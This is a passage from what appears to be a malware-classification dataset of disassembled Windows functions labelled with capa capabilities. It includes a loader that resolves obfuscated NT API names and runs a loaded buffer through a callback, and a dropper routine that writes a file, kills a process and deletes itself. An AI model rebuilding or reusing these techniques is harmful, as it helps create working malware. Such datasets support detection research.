joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4acca0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
movd xmm0, dword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
movdqu xmm1, xmmword [rsi]
movdqu xmm2, xmmword [rsi + 0x10]
movdqu xmm3, xmmword [rsi + 0x20]
movdqu xmm4, xmmword [rsi + 0x30]
pxor xmm1, xmm0
add rsi, 0x40
sub rcx, 0x40
cmp rcx, 0x40
jb 0x4acd75
movdqa xmm0, xmmword [0x00570d70]
movdqa xmm5, xmm1
movdqa xmm6, xmm2
movdqa xmm7, xmm3
movdqa xmm8, xmm4
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm2, xmm0, 0
pclmulqdq xmm3, xmm0, 0
pclmulqdq xmm4, xmm0, 0
movdqu xmm11, xmmword [rsi]
movdqu xmm12, xmmword [rsi + 0x10]
movdqu xmm13, xmmword [rsi + 0x20]
movdqu xmm14, xmmword [rsi + 0x30]
pclmulqdq xmm5, xmm0, 0x11
pclmulqdq xmm6, xmm0, 0x11
pclmulqdq xmm7, xmm0, 0x11
pclmulqdq xmm8, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm2, xmm6
pxor xmm3, xmm7
pxor xmm4, xmm8
pxor xmm1, xmm11
pxor xmm2, xmm12
pxor xmm3, xmm13
pxor xmm4, xmm14
add rdi, 0x40
add rsi, 0x40
sub rcx, 0x40
cmp rcx, 0x40
jge 0x4acce1
movdqa xmm0, xmmword [0x00570d80]
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm2
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm3
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm4
cmp rcx, 0x10
jb 0x4acdf7
movdqu xmm10, xmmword [rsi]
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm10
sub rcx, 0x10
add rsi, 0x10
cmp rcx, 0x10
jge 0x4acdcb
pcmpeqb xmm3, xmm3
pclmulqdq xmm0, xmm1, 1
psrldq xmm1, 8
pxor xmm1, xmm0
movdqa xmm2, xmm1
movq xmm0, qword [0x00570be8]
psrlq xmm3, 0x20
psrldq xmm2, 4
pand xmm1, xmm3
pclmulqdq xmm1, xmm0, 0
pxor xmm1, xmm2
movdqa xmm0, xmmword [0x00570d90]
movdqa xmm2, xmm1
pand xmm1, xmm3
pclmulqdq xmm1, xmm0, 0x10
pand xmm1, xmm3
pclmulqdq xmm1, xmm0, 0
pxor xmm1, xmm2
pextrd eax, xmm1, 1
mov dword [rsp + 0x28], eax
ret
Function at 0x4adde0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4ae01b
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rax
nop
call fcn.004ad960
xorps xmm15, xmm15
mov r14, qword [0x0066d538]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
add qword [rcx + 0x68], rax
mov rdx, qword [rcx + 0x60]
test rdx, rdx
jle 0x4adf2a
nop dword [rax]
cmp rdx, 0x40
ja 0x4ae00d
lea rsi, [rdx - 0x40]
mov rdi, rsi
neg rsi
sar rdi, 0x3f
and rdi, rdx
lea rdx, [rcx + rdi]
lea rdx, [rdx + 0x20]
cmp rax, rsi
cmovl rsi, rax
mov qword [rsp + 0x28], rsi
mov rbx, qword [rsp + 0x60]
cmp rbx, rdx
je 0x4ade99
mov rax, rdx
mov rcx, rsi
nop
call fcn.00462300
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x28]
mov rdx, qword [rcx + 0x60]
add rdx, rsi
mov qword [rcx + 0x60], rdx
cmp rdx, 0x40
jne 0x4adf01
mov qword [rsp], rcx
lea rax, [rcx + 0x20]
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], 0x40
mov qword [rsp + 0x18], 0x40
call fcn.004ae460
xorps xmm15, xmm15
mov r14, qword [0x0066d538]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x58]
mov qword [rax + 0x60], 0
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x28]
cmp rax, rsi
jb 0x4ae002
mov rdi, qword [rsp + 0x70]
sub rdi, rsi
mov rdx, rdi
neg rdx
sar rdx, 0x3f
and rdx, rsi
mov r8, rax
sub r8, rsi
add rbx, rdx
jmp 0x4adf37
mov r8, rax
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x70]
cmp r8, 0x40
jl 0x4adfb5
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x40], rbx
mov qword [rsp], rcx
mov qword [rsp + 8], rbx
and r8, 0xffffffffffffffc0
mov qword [rsp + 0x20], r8
mov qword [rsp + 0x10], r8
mov qword [rsp + 0x18], rdi
call fcn.004ae460
xorps xmm15, xmm15
mov r14, qword [0x0066d538]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x38]
mov rdx, rax
sub rax, rcx
sar rax, 0x3f
mov r8, qword [rsp + 0x30]
and rax, r8
and rax, 0xffffffffffffffc0
mov rcx, qword [rsp + 0x40]
lea rbx, [rcx + rax]
sub r8, rdx
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
test r8, r8
je 0x4adff8
lea rdx, [rcx + 0x20]
cmp r8, 0x40
mov esi, 0x40
cmovl rsi, r8
cmp rbx, rdx
je 0x4adff4
mov qword [rsp + 0x38], rsi
mov rax, rdx
mov rcx, rsi
nop dword [rax + rax]
call fcn.00462300
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x38]
mov qword [rcx + 0x60], rsi
xor ebx, ebx
xor ecx, ecx
add rsp, 0x48
pop rbp
ret
mov rcx, rax
mov rax, rsi
call fcn.00461a20
mov rax, rdx
mov ecx, 0x40
call fcn.00461a20
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.0045f6e0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.004adde0
Function at 0x4bf8a0
Capabilities:
Execute syscall

Disassembly:
xor rax, rax
mov ax, word [rsp + 8]
push rcx
mov rcx, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x18]
mov rdi, qword gs:[0x30]
mov dword [rdi + 0x68], 0
sub rsp, 0x80
cmp ecx, 4
jle 0x4bf8e0
cmp ecx, 0x10
jle 0x4bf8d6
int 3
mov rdi, rsp
cld
rep movsq qword [rdi], qword [rsi]
mov rsi, rsp
sub rsp, 8
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
mov r9, qword [rsi + 0x18]
movq xmm0, rcx
movq xmm1, rdx
movq xmm2, r8
movq xmm3, r9
mov r10, rcx
syscall
add rsp, 0x88
pop rcx
mov dword [rsp + 0x28], eax
ret
Function at 0x4c1ac0
Capabilities:
Hash data using fnv

Disassembly:
test byte [rax], al
mov rcx, rbx
and ebx, 0x7f
shl rbx, 5
lea rdx, [rax + rbx]
xor eax, eax
jmp 0x4c1ad7
inc rax
cmp rax, 4
jge 0x4c1aef
lea rbx, [rdx + rax*8]
mov rbx, qword [rbx]
cmp rbx, rcx
jne 0x4c1ad4
mov eax, 1
ret
xor eax, eax
movabs rbx, 0xcbf29ce484222325
jmp 0x4c1b00
inc rax
cmp rax, 4
jge 0x4c1b0e
mov rsi, qword [rdx + rax*8]
xor edi, edi
jmp 0x4c1b37
and ebx, 3
lea rdx, [rdx + rbx*8]
xchg qword [rdx], rcx
xor eax, eax
ret
movzx r8d, sil
xor rbx, r8
inc rdi
shr rsi, 8
movabs r8, 0x100000001b3
imul rbx, r8
cmp rdi, 8
jl 0x4c1b1b
jmp 0x4c1afd
Function at 0x4cbe20
Capabilities:
Access peb ldr_data

Disassembly:
lea r12, [rsp - 0x20]
cmp r12, qword [r14 + 0x10]
jbe 0x4cc0b9
push rbp
mov rbp, rsp
sub rsp, 0x98
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xa8], rax
nop
lea rax, [0x004ec260]
call fcn.0040c880
mov qword [rsp + 0x70], rax
mov qword [rax + 8], 9
lea rcx, [0x004f9945]
mov qword [rax], rcx
mov byte [rax + 0x10], 1
nop
lea rax, [0x004ec260]
call fcn.0040c880
mov qword [rsp + 0x68], rax
mov qword [rax + 8], 8
lea rcx, [0x004f96c5]
mov qword [rax], rcx
mov byte [rax + 0x10], 1
nop
lea rax, [0x004ec1a0]
call fcn.0040c880
cmp dword [0x0066d5b0], 0
jne 0x4cbeb7
mov rcx, qword [rsp + 0x70]
jmp 0x4cbec4
call fcn.004615e0
mov rcx, qword [rsp + 0x70]
mov qword [r11], rcx
mov qword [rsp + 0x60], rax
mov qword [rax + 0x18], rcx
mov qword [rax + 8], 0xd
lea rcx, [0x004fa7af]
mov qword [rax], rcx
nop
lea rax, [0x004ec1a0]
call fcn.0040c880
cmp dword [0x0066d5b0], 0
jne 0x4cbf00
mov rcx, qword [rsp + 0x68]
jmp 0x4cbf0d
call fcn.004615e0
mov rcx, qword [rsp + 0x68]
mov qword [r11], rcx
mov qword [rsp + 0x58], rax
mov qword [rax + 0x18], rcx
mov qword [rax + 8], 0xc
lea rcx, [0x004fa317]
mov qword [rax], rcx
mov qword [rsp + 0x48], 0
mov rcx, qword [rsp + 0xb0]
mov qword [rsp + 0x40], rcx
lea rax, [0x004d9880]
call fcn.0040c880
mov rcx, qword [rsp + 0xb0]
mov qword [rax + 8], rcx
mov qword [rax + 0x10], 0x3000
mov qword [rax + 0x18], 0x40
mov rbx, rax
mov edi, 4
mov rax, qword [rsp + 0x58]
mov rcx, rdi
call fcn.004c4f00
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0xb0]
test rcx, rcx
jbe 0x4cc0ae
mov rcx, qword [rsp + 0xa8]
mov qword [rsp + 0x90], rcx
lea rax, [0x004d9820]
call fcn.0040c880
mov rcx, qword [rsp + 0x50]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x90]
mov qword [rax + 8], rcx
mov rcx, qword [rsp + 0xb0]
mov qword [rax + 0x10], rcx
mov rbx, rax
mov ecx, 3
mov rdi, rcx
mov rax, qword [rsp + 0x60]
nop dword [rax]
call fcn.004c4f00
movzx ecx, word [0x0066d304]
mov word [rsp + 0x3e], cx
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x88], rdx
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x80], rdx
lea rdx, [rsp + 0x48]
mov qword [rsp + 0x78], rdx
lea rax, [0x004d98e0]
nop dword [rax]
call fcn.0040c880
mov qword [rax], 0xffffffffffffffff
mov rcx, qword [rsp + 0x88]
mov qword [rax + 8], rcx
mov rcx, qword [rsp + 0x80]
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 0x20
mov rcx, qword [rsp + 0x78]
mov qword [rax + 0x20], rcx
movzx ecx, word [rsp + 0x3e]
mov word [rsp], cx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], 5
mov qword [rsp + 0x18], 5
call fcn.004bf8a0
xorps xmm15, xmm15
mov r14, qword [0x0066d538]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x50]
xor ebx, ebx
mov rcx, rbx
mov rdi, rcx
mov rsi, rcx
nop dword [rax]
call fcn.0045e020
add rsp, 0x98
pop rbp
ret
xor eax, eax
mov rcx, rax
call fcn.00461960
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call fcn.0045f6e0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
nop dword [rax]
jmp fcn.004cbe20
Function at 0x1800012c0
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x168
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x30], 0
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x180001311
xor eax, eax
jmp 0x18000146e
mov rax, qword [rsp + 0x38]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x180]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x4550
je 0x180001344
mov rax, qword [rsp + 0x30]
jmp 0x18000146e
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x40]
mov rdi, rax
lea rsi, [rcx + 0x18]
mov ecx, 0xf0
rep movsb byte [rdi], byte [rsi]
mov eax, 8
imul rax, rax, 0
cmp dword [rsp + rax + 0xd0], 0
jne 0x180001379
mov rax, qword [rsp + 0x30]
jmp 0x18000146e
mov eax, 8
imul rax, rax, 0
mov eax, dword [rsp + rax + 0xd0]
mov rcx, qword [rsp + 0x180]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x180]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x180]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x180]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x20], 0
jmp 0x180001401
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x18]
cmp dword [rsp + 0x20], eax
jae 0x180001469
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x180]
add rcx, rax
mov rax, rcx
mov rdx, qword [rsp + 0x188]
mov rcx, rax
call fcn.180006848
test eax, eax
jne 0x180001467
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x58]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x180]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
jmp 0x180001469
jmp 0x1800013f7
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.180001fc0
add rsp, 0x168
pop rdi
pop rsi
ret
Function at 0x180001c60
Capabilities:
Get file size
Print debug messages

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0xe8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xd0], rax
lea rcx, str.HelperFunc_was_executed
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call fcn.180001bb0
lea rax, [rsp + 0xa8]
lea rcx, str.eliFdaeRtN
mov rdi, rax
mov rsi, rcx
mov ecx, 0xb
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xb8]
lea rcx, str.yromeMlautriVtcetorPtN
mov rdi, rax
mov rsi, rcx
mov ecx, 0x17
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0xffffffffffffffff
jne 0x180001d3a
jmp 0x180001ede
lea rcx, str.Opened_File_
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov eax, eax
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0x88], 0
jne 0x180001d6e
jmp 0x180001ede
lea rcx, str.Got_file_Size
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x58], 0xffffffffffffffff
mov edx, 0x17
lea rcx, str.yromeMlautriVetacollAtN
call section..text
lea rcx, str.yromeMlautriVetacollAtN
call fcn.180001760
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0x88]
xor r8d, r8d
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x58]
call qword [rsp + 0x60]
lea rcx, str.Alocated_memory
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov edx, 0xa
lea rcx, [rsp + 0xa8]
call section..text
lea rcx, [rsp + 0xa8]
call fcn.180001760
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov eax, dword [rsp + 0x88]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x98]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [rsp + 0x68]
mov dword [rsp + 0x90], 4
mov edx, 0x16
lea rcx, [rsp + 0xb8]
call section..text
lea rcx, [rsp + 0xb8]
call fcn.180001760
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8, [rsp + 0x88]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x58]
call qword [rsp + 0x70]
mov r9d, 0x15
mov r8d, 0xffffffff
mov edx, 0x400
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoExW]
call fcn.180001c20
mov ecx, 0xc350
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0xd0]
xor rcx, rsp
call fcn.180001fc0
add rsp, 0xe8
pop rdi
pop rsi
ret
Function at 0x180001f00
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 1
je 0x180001f23
jmp 0x180001f30
lea rcx, str.DllMain
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, 1
add rsp, 0x38
ret
Function at 0x18000a34c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18000a37c
xor eax, eax
jmp 0x18000a43f
mov rbp, rbx
cmp word [rax], si
je 0x18000a3a1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18000a388
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18000a384
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18000a26c
movsxd r14, eax
test eax, eax
jne 0x18000a3df
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18000a375
mov rcx, r14
call fcn.18000b5dc
mov rdi, rax
test rax, rax
jne 0x18000a3f8
xor ecx, ecx
call fcn.180008940
jmp 0x18000a3d4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18000a26c
test eax, eax
jne 0x18000a429
mov rcx, rdi
call fcn.180008940
jmp 0x18000a433
xor ecx, ecx
call fcn.180008940
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x18000fab0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x18000fad8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x18000fad8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400097e0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400097f0]
mov dword [rax], 1
mov rax, qword [0x140009800]
mov dword [rax], 1
mov rax, qword [0x140009780]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400097d0]
mov dword [0x14000c020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1400098b0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140009890]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140009730]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001584
Capabilities:
Delete file
Execute command
Query environment variable
Self delete
Set current directory
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x178
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x110], rcx
lea rax, [rbp - 0x30]
mov r8d, 0x104
mov rdx, rax
lea rax, str.APPDATA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call rax
mov rax, qword [rbp + 0x110]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0xe8], rax
lea rdx, [rbp - 0x34]
mov rax, qword [rbp + 0xe8]
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 9
lea rdx, str.kicked___
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0xe8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x110]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov dword [rbp + 0xe0], eax
cmp dword [rbp + 0xe0], 0
je 0x14000168c
lea rax, str.Deleted_dropper_n
mov rcx, rax
call sym.printf
jmp 0x140001701
lea rax, str.taskkill__F__T__IM
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.strlen
mov rbx, rax
mov rax, qword [rbp + 0x110]
mov rcx, rax
call sym.strlen
add rax, rbx
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x110]
mov rax, qword [rbp + 0xd8]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_strcat_s]
call rax
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.system
mov rax, qword [rbp + 0x110]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
nop
add rsp, 0x178
pop rbx
pop rbp
ret

Function at 0x140001a00
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001a70
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000c0b4]
mov rbx, rcx
test esi, esi
jle 0x140001ba0
mov rax, qword [0x14000c0b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001abb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001b45
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001aa0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001bc2
mov rax, qword [0x14000c0b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000c0b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001ba7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001b3e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001b50
add dword [0x14000c0b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000c0b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001b3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001ac8
mov rax, qword [0x14000c0b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002130
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000c120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000c100]
test rbx, rbx
je 0x14000218c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002183
test rsi, rsi
je 0x140002183
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002168
mov rcx, r12
add rsp, 0x20
pop rbx
